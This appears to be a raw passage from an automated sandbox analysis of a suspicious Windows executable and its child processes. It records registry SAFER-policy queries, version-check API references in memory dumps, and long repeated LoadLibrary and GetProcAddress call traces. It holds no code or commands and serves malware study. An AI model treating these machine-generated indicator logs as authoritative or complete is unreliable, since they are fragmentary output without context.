(Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "2NJ9351.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "2NJ9351.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")31:T565,Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "file") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "file") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "file") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; File: "7Us0xM51.exe.3748539400") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "982986056,5144,3024,,RtlGetVersion,NTDLL.dll,"00:17:24.078",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp")32:T2a34,"file.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002480) "file.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002480) "file.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002480) "file.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002480) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00002480) "file.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00002480) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00002480) "ZM6QY65.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003448) "ZM6QY65.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003448) "ZM6QY65.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003448) "ZM6QY65.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003448) "ZM6QY65.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00003448) "ZM6QY65.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00003448) "ZM6QY65.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00003448) "Wt6LG75.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002608) "Wt6LG75.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002608) "Wt6LG75.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002608) "Wt6LG75.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002608) "Wt6LG75.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00002608) "Wt6LG75.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00002608) "Wt6LG75.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00002608) "Yf6UX21.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000840) "Yf6UX21.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000840) "Yf6UX21.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000840) "Yf6UX21.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000840) "Yf6UX21.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00000840) "Yf6UX21.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00000840) "Yf6UX21.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00000840) "NS0zj81.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007408) "NS0zj81.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007408) "NS0zj81.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007408) "NS0zj81.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007408) "NS0zj81.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007408) "NS0zj81.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00007408) "NS0zj81.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00007408) "NH5Ot82.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002592) "NH5Ot82.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002592) "NH5Ot82.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002592) "NH5Ot82.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002592) "NH5Ot82.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00002592) "NH5Ot82.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00002592) "NH5Ot82.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00002592) "1oh97OL0.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006488) "1oh97OL0.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006488) "1oh97OL0.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006488) "1oh97OL0.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006488) "1oh97OL0.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00006488) "1oh97OL0.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00006488) "1oh97OL0.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00006488) "1oh97OL0.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00006488) "1oh97OL0.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00006488) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00004328) "AppLaunch.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004328) "2NJ9351.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006492) "2NJ9351.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006492) "2NJ9351.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006492) "2NJ9351.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006492) "2NJ9351.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00006492) "2NJ9351.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00006492) "2NJ9351.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00006492) "2NJ9351.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00006492) "2NJ9351.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00006492) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002488) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002488) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002488) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002488) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00002488) "AppLaunch.exe" called "LoadLibrary" with a parameter Wininet.dll (UID: 00000000-00002488) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00002488) "3xL71Vc.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004452) "3xL71Vc.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004452) "3xL71Vc.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004452) "3xL71Vc.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004452)33:Tef17,"file.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00002480) "file.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00002480) "ZM6QY65.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00003448) "ZM6QY65.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00003448) "Wt6LG75.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00002608) "Wt6LG75.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00002608) "Yf6UX21.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00000840) 